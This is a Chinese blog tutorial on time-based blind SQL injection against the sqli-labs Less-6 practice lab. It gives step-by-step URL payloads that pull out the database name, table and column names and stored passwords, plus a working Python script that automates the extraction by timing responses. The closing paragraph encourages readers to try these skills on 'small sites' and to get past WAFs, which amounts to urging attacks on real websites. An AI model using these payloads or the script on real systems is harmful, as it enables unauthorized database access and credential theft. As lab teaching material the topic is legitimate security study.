首页 » Network_security » Penetration » 正文

sql盲注之时间盲注

0x00 概述

渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的终篇,介绍盲注中的时间盲注。

0x01 时间盲注原理

由于有时网站关闭了错误回显或过滤了某些关键字,网页只会返回一种状态,这是就要用时间盲注了。

先整理几个基本函数:
if(1,2,3):如果1真,则执行2,否则执行3

Sleep(x):执行延迟x秒

Benchmark(x,1):执行表达式1,x次(会消耗cpu,慎用!)

 

0x02 测试

Sqli-labs less-6:
这里尝试时间盲注。

1. 爆数据库名:

192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(ascii(substr(database(),1,1))>115,1,sleep(3))--+

当>115时是4034ms,而>114时是1041ms,所以可以判断>115时执行了sleep,同时说明数据库名第一个字符是s。

同理判断其余字符,最后得出数据库名security。

2. 爆表名:

2.192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101,1,sleep(3))--+

>101出现延时,>100不延时,所以为e,同理爆出其余字符得emails,再爆出其余表名。

3. 爆列名:

3.192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>105,1,sleep(3))--+

>105出现延时,>104不延时,表明users表第一个列第一个字符为i,同理爆出其余字符得id,同理爆出其余列名username,password。

4. 爆数据:

4.192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(ascii(substr((select password from users limit 0,1),1,1))>68,1,sleep(3))--+

>68出现延时,>67不延时,表明password列第一项数据的第一个字符为D,同理爆出其余字符得Dumb,再爆出其余数据。

 

0x03 时间盲注脚本

只完成爆出数据库名,其余数据根据需要更改即可。

#coding:utf-8
#Author:LSA
#Description:Time based sqli script for sqli-labs less 6
#Data:20180108


import requests
import time
import string
import sys

headers = {"user-agent":"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)"}

chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'

database = ''

global length

for l in range(1,20):
    lengthUrl = 'http://192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(length(database())>{0},1,sleep(3))--+'
    lengthUrlFormat = lengthUrl.format(l)
    start_time0 = time.time()
    rsp0 = requests.get(lengthUrlFormat,headers=headers)
    if  time.time() - start_time0 > 2.5:
            print 'database length is ' + str(l)
            global length
            length = l
            break
    else:
        pass
    
for i in range(1,length+1):
    
    for char in chars:
        charAscii = ord(char)
        
        url = 'http://192.168.101.251:8999/sqli-labs/Less-6/?id=1" and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'
        urlformat = url.format(i,charAscii)
    
        
        start_time = time.time()
        
        rsp = requests.get(urlformat,headers=headers)
        
        if  time.time() - start_time > 2.5:
            database+=char
            print 'database: ',database
            break
        else:
            pass

print 'database is ' + database

 

0x04 结语

到此三种sql盲注全部完结,涉及到的知识都很基础,全部看懂的话就可以找一些小站练手了,如果遇到waf/狗就要绕过了,另外,要灵活机变,一条路不通就换个方向,比如sqli-labs less 6不仅可以时间盲注入,报错和布尔都可以,还有上次的布尔盲注less 8也可以用时间盲注,这就是为什么sqlmap有时会同时给出多种注入方案的原因了。

Comment